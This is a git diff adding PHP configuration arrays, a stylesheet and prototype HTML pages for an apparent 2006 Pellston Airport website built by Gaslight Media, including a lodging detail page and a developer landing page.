+define( "SI_CUSTOMER_ASSETS",                          SI_BASE_URL."/assets" );
+
+define( "SI_CUST_LOGO",                                                "assets/logo.gif" );
+define( "SI_CUST_LOGO_MEDIUM",                         "assets/logo_medium.gif" );
+define( "SI_CUST_LOGO_SMALL",                          "assets/logo_small.gif" );
+
+define( "SI_CUST_LOGO_URL",                                    $si_base_url."/".SI_CUST_LOGO );
+define( "SI_CUST_LOGO_MEDIUM_URL",                     $si_base_url."/".SI_CUST_LOGO_MEDIUM );
+define( "SI_CUST_LOGO_SMALL_URL",                      $si_base_url."/".SI_CUST_LOGO_SMALL );
+
+
+//     -----------------------------------
+//     Application Specific Configurations
+//     -----------------------------------
+
+
+//     -------------------------------
+//     Other misc. configuration items
+//     -------------------------------
+
+       // Image related configuration
+
+define( "SI_THEIGHT",                                  "60" );
+define( "SI_RESIZED_SIZE",                             "287" );
+define( "SI_MIDSIZED_SIZE",                    "178" );
+define( "SI_THUMB_SIZE",                               "80" );
+
+       // Calender applet configuration
+
+define( "SI_CAL_BKND",                                 "#EFEFEF");             // Window Background color
+define( "SI_CAL_TABLE",                                        "#FFFFFF");             // Table background color
+define( "SI_CAL_HEAD",                                 "#FFFFFF");                     // Table Header Color (days)
+define( "SI_CAL_DATE",                                 "#FFFFFF");                     // Background color of days
+define( "SI_CAL_TODAY",                                        "yellow");                      // Background color of todays date
+define( "SI_CAL_NODATE",                               "#E0E0E0");                     // Background color of non-dates
+
+define( "SI_SES_TIMEOUT",                              "86400" );                      // Session timeout - 1 Hour
+
+       // Defaults for things in functions.inc
+       
+define( "SI_DEFAULT_TEXTBOX_COLS",             60 );
+define( "SI_DEFAULT_TEXTBOX_ROWS",             6 );
+
+
+//     ----------------------------------------------
+//     Other misc. things you don't need to mess with
+//     ----------------------------------------------
+
+$si_month_array = array
+       (
+       1       => "January",
+       2       => "February",
+       3       => "March",
+       4       => "April",
+       5       => "May",
+       6       => "June",
+       7       => "July",
+       8       => "August",
+       9       => "September",
+       10      => "October",
+       11      => "November",
+       12      => "December"
+       );
+
+       // Countries list
+       // For the "out of sequence" countries there is no need to remove them from the full list
+       // For update see....http://www.iso.ch/iso/en/prods-services/iso3166ma/02iso-3166-code-lists/index.html
+       
+$si_countries_array = array 
+       (
+               // Out of sequence for convenience
+       'US' => 'United States',
+       'CA' => 'Canada',
+       
+       "AF" => "Afghanistan",
+       "AX" => "Land Islands",
+       "AL" => "Albania",
+       "DZ" => "Algeria",
+       "AS" => "American Samoa",
+       "AD" => "Andorra",
+       "AO" => "Angola",
+       "AI" => "Anguilla",
+       "AQ" => "Antarctica",
+       "AG" => "Antigua and Barbuda",
+       "AR" => "Argentina",
+       "AM" => "Armenia",
+       "AW" => "Aruba",
+       "AU" => "Australia",
+       "AT" => "Austria",
+       "AZ" => "Azerbaijan",
+       "BS" => "Bahamas",
+       "BH" => "Bahrain",
+       "BD" => "Bangladesh",
+       "BB" => "Barbados",
+       "BY" => "Belarus",
+       "BE" => "Belgium",
+       "BZ" => "Belize",
+       "BJ" => "Benin",
+       "BM" => "Bermuda",
+       "BT" => "Bhutan",
+       "BO" => "Bolivia",
+       "BA" => "Bosnia and Herzegovina",
+       "BW" => "Botswana",
+       "BV" => "Bouvet Island",
+       "BR" => "Brazil",
+       "IO" => "British Indian Ocean Territory",
+       "BN" => "Brunei Darussalam",
+       "BG" => "Bulgaria",
+       "BF" => "Burkina Faso",
+       "BI" => "Burundi",
+       "KH" => "Cambodia",
+       "CM" => "Cameroon",
+       "CA" => "Canada",
+       "CV" => "Cape Verde",
+       "KY" => "Cayman Islands",
+       "CF" => "Central African Republic",
+       "TD" => "Chad",
+       "CL" => "Chile",
+       "CN" => "China",
+       "CX" => "Christmas Island",
+       "CC" => "Cocos (Keeling) Islands",
+       "CO" => "Colombia",
+       "KM" => "Comoros",
+       "CG" => "Congo",
+       "CD" => "Congo&#44; the Democratic Rep&#46; of",
+       "CK" => "Cook Islands",
+       "CR" => "Costa Rica",
+       "CI" => "Cote D'Ivoire",
+       "HR" => "Croatia",
+       "CU" => "Cuba",
+       "CY" => "Cyprus",
+       "CZ" => "Czech Republic",
+       "DK" => "Denmark",
+       "DJ" => "Djibouti",
+       "DM" => "Dominica",
+       "DO" => "Dominican Republic",
+       "EC" => "Ecuador",
+       "EG" => "Egypt",
+       "SV" => "El Salvador",
+       "GQ" => "Equatorial Guinea",
+       "ER" => "Eritrea",
+       "EE" => "Estonia",
+       "ET" => "Ethiopia",
+       "FK" => "Falkland Islands (Malvinas)",
+       "FO" => "Faroe Islands",
+       "FJ" => "Fiji",
+       "FI" => "Finland",
+       "FR" => "France",
+       "GF" => "French Guiana",
+       "PF" => "French Polynesia",
+       "TF" => "French Southern Territories",
+       "GA" => "Gabon",
+       "GM" => "Gambia",
+       "GE" => "Georgia",
+       "DE" => "Germany",
+       "GH" => "Ghana",
+       "GI" => "Gibraltar",
+       "GR" => "Greece",
+       "GL" => "Greenland",
+       "GD" => "Grenada",
+       "GP" => "Guadeloupe",
+       "GU" => "Guam",
+       "GT" => "Guatemala",
+       "GN" => "Guinea",
+       "GW" => "Guinea-Bissau",
+       "GY" => "Guyana",
+       "HT" => "Haiti",
+       "HM" => "Heard Island&#44; McDonald Islands",
+       "VA" => "Holy see (Vatican City State)",
+       "HN" => "Honduras",
+       "HK" => "Hong Kong",
+       "HU" => "Hungary",
+       "IS" => "Iceland",
+       "IN" => "India",
+       "ID" => "Indonesia",
+       "IR" => "Iran&#44; Islamic Republic of",
+       "IQ" => "Iraq",
+       "IE" => "Ireland",
+       "IL" => "Israel",
+       "IT" => "Italy",
+       "JM" => "Jamaica",
+       "JP" => "Japan",
+       "JO" => "Jordan",
+       "KZ" => "Kazakhstan",
+       "KE" => "Kenya",
+       "KI" => "Kiribati",
+       "KP" => "Korea&#44; Democratic People's Rep&#46; of",
+       "KR" => "Korea&#44; Republic of",
+       "KW" => "Kuwait",
+       "KG" => "Kyrgyzstan",
+       "LA" => "Lao People's Democratic Republic",
+       "LV" => "Latvia",
+       "LB" => "Lebanon",
+       "LS" => "Lesotho",
+       "LR" => "Liberia",
+       "LY" => "Libyan Arab Jamahiriya",
+       "LI" => "Liechtenstein",
+       "LT" => "Lithuania",
+       "LU" => "Luxembourg",
+       "MO" => "Macao",
+       "MK" => "Macedonia&#44; the Former Yugoslav Rep&#46;",
+       "MG" => "Madagascar",
+       "MW" => "Malawi",
+       "MY" => "Malaysia",
+       "MV" => "Maldives",
+       "ML" => "Mali",
+       "MT" => "Malta",
+       "MH" => "Marshall Islands",
+       "MQ" => "Martinique",
+       "MR" => "Mauritania",
+       "MU" => "Mauritius",
+       "YT" => "Mayotte",
+       "MX" => "Mexico",
+       "FM" => "Micronesia&#44; Federated States of",
+       "MD" => "Moldova&#44; Republic of",
+       "MC" => "Monaco",
+       "MN" => "Mongolia",
+       "MS" => "Montserrat",
+       "MA" => "Morocco",
+       "MZ" => "Mozambique",
+       "MM" => "Myanmar",
+       "NA" => "Namibia",
+       "NR" => "Nauru",
+       "NP" => "Nepal",
+       "NL" => "Netherlands",
+       "AN" => "Netherlands Antilles",
+       "NC" => "New Caledonia",
+       "NZ" => "New Zealand",
+       "NI" => "Nicaragua",
+       "NE" => "Niger",
+       "NG" => "Nigeria",
+       "NU" => "Niue",
+       "NF" => "Norfolk Island",
+       "MP" => "Northern Mariana Islands",
+       "NO" => "Norway",
+       "OM" => "Oman",
+       "PK" => "Pakistan",
+       "PW" => "Palau",
+       "PS" => "Palestinian Territory&#44; Occupied",
+       "PA" => "Panama",
+       "PG" => "Papua New Guinea",
+       "PY" => "Paraguay",
+       "PE" => "Peru",
+       "PH" => "Philippines",
+       "PN" => "Pitcairn",
+       "PL" => "Poland",
+       "PT" => "Portugal",
+       "PR" => "Puerto Rico",
+       "QA" => "Qatar",
+       "RE" => "Reunion",
+       "RO" => "Romania",
+       "RU" => "Russian Federation",
+       "RW" => "Rwanda",
+       "SH" => "Saint Helena",
+       "KN" => "Saint Kitts and Nevis",
+       "LC" => "Saint Lucia",
+       "PM" => "Saint Pierre and Miquelon",
+       "VC" => "Saint Vincent and the Grenadines",
+       "WS" => "Samoa",
+       "SM" => "San Marino",
+       "ST" => "Sao Tome and Principe",
+       "SA" => "Saudi Arabia",
+       "SN" => "Senegal",
+       "CS" => "Serbia and Montenegro",
+       "SC" => "Seychelles",
+       "SL" => "Sierra Leone",
+       "SG" => "Singapore",
+       "SK" => "Slovakia",
+       "SI" => "Slovenia",
+       "SB" => "Solomon Islands",
+       "SO" => "Somalia",
+       "ZA" => "South Africa",
+       "GS" => "South Georgia&#44; South Sandwich Islands",
+       "ES" => "Spain",
+       "LK" => "Sri Lanka",
+       "SD" => "Sudan",
+       "SR" => "Suriname",
+       "SJ" => "Svalbard and Jan Mayen",
+       "SZ" => "Swaziland",
+       "SE" => "Sweden",
+       "CH" => "Switzerland",
+       "SY" => "Syrian Arab Republic",
+       "TW" => "Taiwan&#44; Province of China",
+       "TJ" => "Tajikistan",
+       "TZ" => "Tanzania&#44; United Republic of",
+       "TH" => "Thailand",
+       "TL" => "Timor-Leste",
+       "TG" => "Togo",
+       "TK" => "Tokelau",
+       "TO" => "Tonga",
+       "TT" => "Trinidad and Tobago",
+       "TN" => "Tunisia",
+       "TR" => "Turkey",
+       "TM" => "Turkmenistan",
+       "TC" => "Turks and Caicos Islands",
+       "TV" => "Tuvalu",
+       "UG" => "Uganda",
+       "UA" => "Ukraine",
+       "AE" => "United Arab Emirates",
+       "GB" => "United Kingdom",
+       "US" => "United States",
+       "UM" => "United States minor outlying islands",
+       "UY" => "Uruguay",
+       "UZ" => "Uzbekistan",
+       "VU" => "Vanuatu",
+       "VE" => "Venezuela",
+       "VN" => "Viet Nam",
+       "VG" => "Virgin Islands&#44; British",
+       "VI" => "Virgin Islands&#44; U&#46;S&#46;",
+       "WF" => "Wallis and Futuna",
+       "EH" => "Western Sahara",
+       "YE" => "Yemen",
+       "ZM" => "Zambia",
+       "ZW" => "Zimbabwe"
+       );      
+
+$si_countries_list = $s = "";
+while( list($k, $v) = each($si_countries_array) ) 
+       {
+       $si_countries_list .= "$s$k^$v";
+       $s = "~";
+       }
+       
+$si_states_array = array 
+       (
+       "AL" => "Alabama",
+       "AK" => "Alaska",
+       "AB" => "Alberta",
+       "AZ" => "Arizona",
+       "AR" => "Arkansas",
+       "BC" => "British Columbia",
+       "CA" => "California",
+       "CO" => "Colorado",
+       "CT" => "Connecticut",
+       "DE" => "Delaware",
+       "DC" => "District of Columbia",
+       "FL" => "Florida",
+       "GA" => "Georgia",
+       "GU" => "Guam",
+       "HI" => "Hawaii",
+       "ID" => "Idaho",
+       "IL" => "Illinois",
+       "IN" => "Indiana",
+       "IA" => "Iowa",
+       "KS" => "Kansas",
+       "KY" => "Kentucky",
+       "LA" => "Louisiana",
+       "ME" => "Maine",
+       "MB" => "Manitoba",
+       "MD" => "Maryland",
+       "MA" => "Massachusetts",
+       "MI" => "Michigan",
+       "MN" => "Minnesota",
+       "MS" => "Mississppi",
+       "MO" => "Missouri",
+       "MT" => "Montana",
+       "NE" => "Nebraska",
+       "NV" => "Nevada",
+       "NB" => "New Brunswick",
+       "NF" => "Newfoundland",
+       "NH" => "New Hampshire",
+       "NJ" => "New Jersey",
+       "NM" => "New Mexico",
+       "NY" => "New York",
+       "NC" => "North Carolina",
+       "ND" => "North Dakota",
+       "NT" => "Northwest Territories",
+       "NS" => "Nova Scotia",
+       "OH" => "Ohio",
+       "OK" => "Oklahoma",
+       "ON" => "Ontario",
+       "OR" => "Oregon",
+       "PA" => "Pennsylvania",
+       "PE" => "Prince Edward Island",
+       "PR" => "Puerto Rico",
+       "QC" => "Quebec",
+       "RI" => "Rhode Island",
+       "SK" => "Saskatchewan",
+       "SC" => "South Carolina",
+       "SD" => "South Dakota",
+       "TN" => "Tennessee",
+       "TX" => "Texas",
+       "UT" => "Utah",
+       "VT" => "Vermont",
+       "VI" => "Virgin Islands",
+       "VA" => "Virginia",
+       "WA" => "Washington",
+       "WV" => "West Virginia",
+       "WI" => "Wisconsin",
+       "WY" => "Wyoming",
+       "YT" => "Yukon"
+       );
+
+$si_states_list = $s = "";
+while( list($k, $v) = each($si_states_array) ) 
+       {
+       $si_states_list .= "$s$k^$v";
+       $s = "~";
+       }
+
+       // Websafe colors - Not including Black and White
+       
+$si_websafe_colors = array
+       (
+       "Beige"                 => "#F6D89F",
+       "Light Purple"  => "#8F9ABF",
+       "Gold"                  => "#EDBC49",
+       "Light Blus"    => "#4FC9F5",
+       "Pink"                  => "#F8C1D9",
+       "Tan"                   => "#C5B49A",
+       "Mint"                  => "#7DF2CA",
+       "Light Orange"  => "#FFCC99",
+       "Dark Blue"             => "#0099CC",
+       "Antique White" => "#FAEBD7",
+       "Lavendar"              => "#E6E6FA",
+       "Tomato"                => "#FF6347",
+       "Light Salmon"  => "#FFA07A"
+       );
+
+       // Build Websafe color list for use in standard function calls
+       
+$si_websafe_color_list = $s = "";
+while( list($k, $v) = each($si_websafe_colors) ) 
+       {
+       $si_websafe_color_list .= "$s$v^$k";
+       $s = "~";
+       }
+
+       // Other useable colors
+       
+$si_std_colors = array
+       (
+       "#006400",
+       "#00CED1",
+       "#00FA9A",
+       "#191970",
+       "#20B2AA",
+       "#228B22",
+       "#2F4F4F",
+       "#32CD32",
+       "#388E8E",
+       "#3CB371",
+       "#40E0D0",
+       "#4169E1",
+       "#4682B4",
+       "#483D8B",
+       "#48D1CC",
+       "#4B0082",
+       "#555555",
+       "#556B2F",
+       "#5F9EA0",
+       "#6495ED",
+       "#6A5ACD",
+       "#6B8E23",
+       "#708090",
+       "#7171C6",
+       "#71C671",
+       "#778899",
+       "#7B68EE",
+       "#7CFC00",
+       "#7D9EC0",
+       "#8470FF",
+       "#87CEEB",
+       "#87CEFA",
+       "#8A2BE2",
+       "#8E388E",
+       "#8E8E38",
+       "#8FBC8F",
+       "#9370DB",
+       "#9400D3",
+//     "#98FB98",
+       "#9932CC",
+       "#A020F0",
+       "#A0522D",
+       "#A52A2A",
+       "#A9A9A9",
+       "#AAAAAA",
+//     "#ADD8E6",
+       "#ADFF2F",
+       "#B03060",
+       "#B0C4DE",
+//     "#B0E0E6",
+       "#B22222",
+       "#B8860B",
+       "#BA55D3",
+       "#BC8F8F",
+       "#BDB76B",
+       "#BEBEBE",
+       "#C5C1AA",
+       "#C67171",
+       "#C71585",
+       "#CD5C5C",
+       "#D02090",
+       "#D2691E",
+       "#D2B48C",
+//     "#D3D3D3",
+       "#D8BFD8",
+       "#DA70D6",
+       "#DAA520",
+       "#DB7093",
+       "#DC143C",
+//     "#DCDCDC",
+       "#DDA0DD",
+       "#DEB887",
+//     "#E6E6FA",
+       "#E9967A",
+       "#EE82EE",
+//     "#EEE8AA",
+       "#F08080",
+//     "#F0E68C",
+//     "#F0F8FF",
+       "#F4A460",
+//     "#F5DEB3",
+//     "#F5F5DC",
+//     "#F5FFFA",
+//     "#F8F8FF",
+       "#FA8072",
+//     "#FAEBD7",
+//     "#FAF0E6",
+//     "#FAFAD2",
+//     "#FDF5E6",
+       "#FF69B4",
+       "#FF7F50",
+       "#FF8C00",
+       "#FFB6C1",
+       "#FFC0CB",
+       "#FFD700"
+//     "#FFE4B5",
+//     "#FFEBCD",
+//     "#FFEFD5",
+//     "#FFFAF0"
+       );
+
+       // Determine number of bits in an integer useable for a bitmap - PHP doesn't have sizeof()
+
+settype( $test_int, "integer" );
+$test_int = 1;
+for( $i=1 ; $i<100 ; $i++ )
+       {
+       $t = $test_int * 2;
+       $test_int = $test_int << 1;
+       if( $test_int != $t )
+               break;
+       }
+define( 'SI_INT_SIZE', $i );
+
+
+} // if( !isset($siteinfo) )
+
+?>
diff --git a/styles.css b/styles.css
new file mode 100755 (executable)
index 0000000..c55a4e7
--- /dev/null
@@ -0,0 +1,329 @@
+#i-hate-table-layouts { margin: 0; padding: 0; border: 0; border-collapse: collapse;}
+#i-hate-table-layouts tr {margin-top: 4px;border-bottom: 2px solid #FFE2AC;border-top: 2px solid #FFE2AC;}
+#i-hate-table-layouts td {
+       border-bottom: 2px solid #FFE2AC;border-top: 2px solid #FFE2AC;
+       width: 33%;
+       valign: top;
+       margin: 0;
+       padding: 0;
+       padding-top: 3px;
+       padding-bottom: 3px;
+       }
+
+html {overflow: hidden;} 
+body {
+       margin: 0;
+       padding: 0;
+       font-family: arial, helvetica, sans-serif;
+       font-weight: bold;
+       overflow: hidden;}
+#wrapper {
+       width: 1024px;
+       height: 768px;
+       background: url(assets/bg-home.jpg);
+       background-repeat: no-repeat;
+       overflow: hidden;}
+/* inside background */        
+#inside #wrapper {     background: url(assets/bg-inside.gif);  }       
+#list-page #wrapper {  background: url(assets/bg-inside.gif);  }
+#detail-page #wrapper {        background: url(assets/bg-inside.gif);  }
+
+.clearer{
+       height:1px;
+       overflow:hidden;
+       clear:both;
+       margin-top:-1px;
+}
+/* Home*/
+#home-text {
+       position: relative;
+       top: 365px;
+       left: 55px;
+       width: 240px;
+       height: 310px;
+       font-size: 14px;
+       }
+#home-text h1 {font-size: 24px; margin: 0;}
+#nav-home {
+       position: relative;
+       margin-top: -125px;
+       top: 0;
+       left: 364px;
+       width: 626px;
+       height: 469px;
+       background-image: url(assets/home-nav.jpg);
+       background-repeat: no-repeat;
+       }
+/* category page */
+#content-inside {
+       background-image: url(assets/inside-content-bg.jpg);
+       background-repeat: no-repeat;
+       position: relative;
+       top: 116px;
+       left: 0px;
+       width: 733px;
+       height: 538px;
+       }
+#cat-description {     
+       position: relative;
+       top: 50px;
+       left: 29px;
+       width: 245px;
+       height: 488px;
+       font-size: 14px;
+       }
+#cat-description #cat-head {
+       text-align: right;
+       margin-right: 31px;
+       }       
+#cat-description #cat-head #cat-image {
+       display: block;
+       margin-left: 125px;
+       }
+#cat-description #cat-head h1 {
+       color: #7d3131;
+       margin: 0;
+       margin-bottom: 0.5em;
+       font-size: 24px;
+       }
+#cat-list {
+       position: relative;
+       margin-top: -421px;
+       top: 0;
+       left: 309px;
+       width: 424px;
+       height: 471px;
+       }
+.cat-list-item {
+       background: url(assets/cat-list-bg.gif);
+       background-repeat: no-repeat;
+       display: block;
+       font-size: 24px;
+       height: 54px;
+       padding-top: 6px;
+       padding-left: 29px;
+       text-decoration: none;
+       }       
+#cat-list a:link {color: #7d3131;}
+#cat-list a:visited {color: #7d3131;}
+#cat-list a:hover {color: #000;}
+#cat-list a:active {color: #7d3131;}
+       
+#nav-inside {
+       position: relative;
+       margin-top: -537px;
+       top: 0;
+       left: 792px;
+       width: 232px;
+       height: 768px;
+       }
+#banner-home {
+       display: block;
+       position: relative;
+       margin-top: 20px;
+       top: 0;
+       left: 0px;
+       width: 728px;
+       height: 90px;
+       margin-left: auto;
+       margin-right: auto;
+       border:0;
+       }
+#banner-inside {
+       display: block;
+       position: relative;
+       margin-top: -97px;
+       top: 0;
+       left: 3px;
+       width: 728px;
+       height: 90px;
+       border:0;
+       }
+/* LIST TOP AND DETAIL TOP */
+#list-top {padding-top: 8px;}
+#list-top-head {
+       background-image: url(assets/list-head-bg.gif);
+       background-repeat: no-repeat;
+       color: #7d3131;
+       font-size: 24px;
+       width: 216px;
+       height: 59px;
+       float: left;
+       positon: relative;
+       }
+#list-top-head-cat {margin-left: 20px;}
+#list-top-head-name {margin-left: 20px; padding-bottom: 20px; margin-top: -5px;}
+#print {
+       display: block;
+       float: right;
+       position: relative;
+       width: 168px;
+       height: 59px;
+       margin-top: 0px;
+       }
+#print img {border: 0;}
+#pagination {
+       margin-top: 11px;
+       /* width: 284px; */
+       height: 59px;
+       float: left;
+       position: relative;
+       
+       }
+#pagination img {border: 0;}   
+#page {font-size: 20px; font-weight: bold; margin-left: 9px;}
+#page-number {font-size: 32px; margin-left: 5px; margin-right: 5px;}
+
+/* LISTING PAGE */
+body#list-page #content-inside {background-image: none;}
+#letters {clear: left; width: 160px; float: left; position: relative;}
+#letters img {
+       border: 0;
+       display: block;
+       float: left;
+       margin-left: 13px;
+       margin-bottom: 11px;
+       display: inline;
+       }
+/*list */
+#list {float: left; width: 561px;}
+.list-item {
+       border-top: 2px solid #ffe2ac;
+       border-bottom: 2px solid #ffe2ac;
+       margin-bottom: 8px;
+       position: relative;
+}
+.list-item .item-photo { display: block;}
+.list-item img {border: 0;}
+/*list buttons*/
+.item-call, .item-map-directions, .item-more-info {
+/*     float: right;
+       position: relative; */
+       display: block;
+       width: 148px;
+       clear: right;
+       margin-top: 2px;
+       border: 0;
+       text-align: right;
+       }
+.list-item-name {font-size: 14px; font-weight: bold; margin-top: 3px; margin-left: 210px;}
+.list-item-address {font-size: 13px; font-weight: normal; margin-left: 210px;}
+.list-name-url {font-size: 12px; font-weight: bold; display: block;margin-left: 10px;}
+.list-name-email {font-size: 12px; font-weight: bold; display: block; margin-left: 440px;}
+.list-item-name{margin-left: 10px;}
+.list-item-address {margin-left: 10px;}
+.list-name-url {}
+
+.list-item a:link {color: #000;}
+.list-item a:visited {color: #000;}
+.list-item a:hover {color: #7D3131;}
+.list-item a:active {color: #000;}
+
+/* DETAIL PAGE */
+body#detail-page #content-inside {background-image: none;}
+#details {
+       margin: 6px 15px;
+       border-top: 2px solid #ffe2ac;
+       border-bottom: 2px solid #ffe2ac;
+       clear: left;
+       height: 440px;
+       }
+#detail-name {
+       font-size: 18px;
+       float: left;
+       position: relative;
+       margin: 1px 10px 11px 0;
+       padding-bottom: 6px;
+       }
+#detail-name   .list-name-url {margin: 0;}
+.detail-call, .detail-map-directions{
+       float: right;
+       position: relative;
+       display: block;
+       width: 148px;
+       clear: right;
+       margin-top: 8px;
+       }
+#details img {border: 0;}
+.detail-address {font-size: 13px; font-weight: normal; margin-top: 0.5em; margin-bottom: 0.5em;}
+.detail-url {font-size: 12px; }
+.detail-email {font-size: 12px;        }
+#details a:link {color: #000;}
+#details a:visited {color: #000;}
+#details a:hover {color: #7D3131;}
+#details a:active {color: #000;}
+
+#detail-back {
+       float: left;
+       position: relative;
+       display: block;
+       margin-left: 80px;}
+#detail-detail {
+       width: 542px;
+       position: relative;
+       height: 130px;
+       overflow: hidden;
+       clear: left;}
+#detail-map-detail {
+       position: relative;
+       height: 320px;
+       overflow: hidden;
+       clear: left;
+       margin-top: -10px;
+       }
+#detail-map-detail #map        {
+/* border: 2px solid #7D3131; */
+ width: 710px; height: 350px;
+ position: realtive;}
+#toolbox-detail {
+       width: 660px;
+       position: relative;
+       height: 200px;
+       overflow: hidden;
+       clear: left;
+       margin-top: 10px;}      
+#details img.detail-photo {
+       border: 2px solid black;
+       float: left;
+       position: relative;
+       display: block;
+       margin: 20px 25px 0 0px;
+       }       
+#Hangup {
+       visibility: hidden;
+       position: absolute;
+       top: 0;
+       left: 0;
+       }
+#Hangup  img { display: block;}        
+#HangupButton  {z-index: 100; position: absolute; top: 300px; left: 320px;
+background-color: #7D3131;
+border: 3px solid #F6A948;
+font-size: 12px;
+font-weight: bold;
+color: white;
+width: 380px;
+height: 60px;
+display: block;
+}
+/* flight arrivals */
+div#flights {  position: relative;
+       margin-top: -450px;
+       top: 0;
+       left: 270px;
+       width: 440px;
+       height: 471px;}
+
+table#flight-arrivals, table#flight-departures {
+       font-size: 15px;
+       border: 2px solid #FFED81;
+       border-collapse: collapse;
+       width: 440px;}
+#flights h2 {
+       font-size: 20px;
+       margin: 1em 0 0.5em 0;
+       }       
+table#flight-arrivals th, table#flight-departures th {background-color: #fffdef;padding: 3px 5x; }
+table#flight-arrivals td, table#flight-departures td {font-size: 12px;font-weight:normal; padding: 5px 10px; border: 2px solid #FFED81;}
+
+#last-update {margin-top: 12px;}
\ No newline at end of file
diff --git a/test.html b/test.html
new file mode 100755 (executable)
index 0000000..89cf342
--- /dev/null
+++ b/test.html
@@ -0,0 +1,84 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+ "http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Customer Development Server</title>
+<style type="text/css">
+<!--
+body {
+  background: white;
+  font-size: 100%;
+  font-family: arial, helvetica, sans-serif;
+}
+img#gaslightlogo {
+       margin-left: auto;
+       margin-right: auto;
+       display: block;
+       text-align: center;
+       }
+h1, h2 {
+  font-size: 110%;
+  letter-spacing: 0.1em;
+  font-weight: bold;
+  text-transform: uppercase;
+  text-align: center;
+}
+hr {
+       height: 2px;
+       color: #006830;
+       background-color: #1d58a5;
+       border: 1px solid #1d58a5;
+       }
+p { text-align: center; }
+#copy {font-size: 76%;}
+a:link {color: #1d58a5;}
+a:visited {color: #5F89BF;}
+a:active {color: #1d58a5;}
+a:hover {color: #000;}
+-->
+</style>
+<script language="JavaScript">
+function ieExecWB( intOLEcmd, intOLEparam )
+{
+       // Create OLE Object
+       var WebBrowser = '<OBJECT ID="WebBrowser1" WIDTH=0 HEIGHT=0 
+CLASSID="CLSID:8856F961-340A-11D0-A96B-00C04FD705A2"></OBJECT>';
+
+       // Place Object on page
+       document.body.insertAdjacentHTML('beforeEnd', WebBrowser);
+
+       // if intOLEparam is not defined, set it
+       if ( ( ! intOLEparam ) || ( intOLEparam < -1 )  || ( intOLEparam > 1 ) )
+               intOLEparam = 1;
+
+       // Execute Object
+       WebBrowser1.ExecWB( intOLEcmd, intOLEparam );
+
+       // Destroy Object
+       WebBrowser1.outerHTML = "";
+</SCRIPT>
+</head>
+<body>
+<img id="gaslightlogo" src="http://ws1.gaslightmedia.com/logos/gaslight.gif"
+alt="Gaslight Media Logo">
+<h1>Development Area</h1>
+<hr>
+<p>You have reached the development area for a Gaslight Media customer Web site.</p>
+<h2>www.pellstonairport.com</h2>
+<p><a href="prototype/lodging_list.html">Prototype New List Buttons</a>, 3 different looks</p>
+<hr>
+<p>Revised, 03.10.06: <a href="prototype/revised/home.html">Home</a> <!-- &nbsp;|&nbsp; <a href="prototype/revised/lodging_mainA.html">Lodging, Main-A</a> &nbsp;|&nbsp; <a href="prototype/revised/lodging_mainB.html">Lodging, Main-B</a>  &nbsp;|&nbsp; <a href="prototype/revised/lodging_mainC.html">Lodging, Main-C</a> --> &nbsp;|&nbsp; <a href="prototype/revised/lodging_mainD.html">Lodging, Main</a> &nbsp;|&nbsp; <a href="prototype/revised/lodging_loading.html">Lodging, Loading Page</a> &nbsp;|&nbsp; <a href="prototype/revised/lodgin_detail.html">Lodging, Detail Page</a></p>
+<hr>
+<p><a href="prototype/index.html">Prototype</a> &nbsp;|&nbsp; <a href="prototype/lodging.html">Lodging, main page</a> &nbsp;|&nbsp; <a href="prototype/lodging2b.html">Lodging, next</a></p>
+<hr>
+<p><a href="gallery/index.html"><img src="gallery.jpg" alt="gallery" hspace="0" vspace="0" border="0"></a></p>
+<hr>
+                <button onClick="objWinName.ieExecWB(6, -1)">
+                   Print Me! - No Prompt!
+                </button>
+
+<p id="copy">
+Copyright&copy;2006 <a href="http://www.gaslightmedia.com">Gaslight
+Media</a> &middot; All rights reserved</p>
+</body>
+</html>
diff --git a/toolbox.html b/toolbox.html
new file mode 100755 (executable)
index 0000000..5bfcbc5
--- /dev/null
@@ -0,0 +1,58 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Pellston Airport: Area Lodging</title>
+<meta http-equiv="content-type" content="text/html;charset=utf-8">
+<link rel="stylesheet" type="text/css" href="styles.css">
+</head>
+<body id="detail-page">
+  <map name="Map"> 
+    <area shape="rect" coords="0,0,231,98" href="#" alt="Flight Status" title="Flight Status">
+    <area shape="rect" coords="0,97,231,192" href="#" alt="About Us" title="About Us">
+    <area shape="rect" coords="0,191,231,287" href="#" alt="Services" title="Services">
+    <area shape="rect" coords="0,286,231,382" href="#" alt="Area Lodging" title="Area Lodging">
+    <area shape="rect" coords="1,381,231,481" href="#" alt="Transportation" title="Transportation">
+    <area shape="rect" coords="0,479,230,570" href="#" alt="Dining" title="Dining">
+    <area shape="rect" coords="0,569,231,670" href="#" alt="Area Info" title="Area Info">
+    <area shape="rect" coords="2,669,231,766" href="#" alt="Attractions" title="Attractions">
+  </map>
+<div id="wrapper">
+       <div id="content-inside">
+               <div id="list-top">
+                       <div id="list-top-head">
+                               <div id="list-top-head-cat">Area Loding</div>
+                               <div id="list-top-head-name">Mackinaw City</div>
+                       </div><!-- #list-top-head -->
+                       <a href="#" id="print"><img src="assets/print.gif" width="168" height="59" alt="print (2K)"></a>
+               </div><!-- #list-top -->
+               <div id="details">
+                       <div id="detail-name">
+                               Chippewa Hotel
+<!--                           <div class="detail-address">
+                                       P.O. Box 250<br>
+                                       Mackinac Island, MI 49757
+                               </div> -->
+<!--                           <div class="detail-url"><a href="http://www.chippewshotel.com/">www.chippewshotel.com</a></div>
+                               <div class="detail-email"><a href="mailto:info@www.chippewshotel.com">info@www.chippewshotel.com</a></div> -->
+                       </div><!-- #detail-name -->
+                       <a href="list.php"><img src="assets/back.gif" width="114" height="48" alt="back (2K)" id="detail-back"></a>
+<!--       <a href="#"><img src="assets/call.gif" width="148" height="38" alt="call (1K)" class="detail-call"></a>
+      <a href="#"><img src="assets/map-directions.gif" width="148" height="33" alt="map-directions (2K)" class="detail-map-directions"></a> -->
+                       <div id="toolbox-detail">
+                               Located on Main Street, on the water's edge, you're within walking distance to the ferry docks, marina, carriage tours, shops and historic attractions. The Chippewa Hotel offers Mackinac-Vicotiran style and atmosphere while providing modern amenities and comfort.
+                               Located on Main Street, on the water's edge, you're within walking distance to the ferry docks, marina, carriage tours, shops and historic attractions. The Chippewa Hotel offers Mackinac-Vicotiran style and atmosphere while providing modern amenities and comfort.
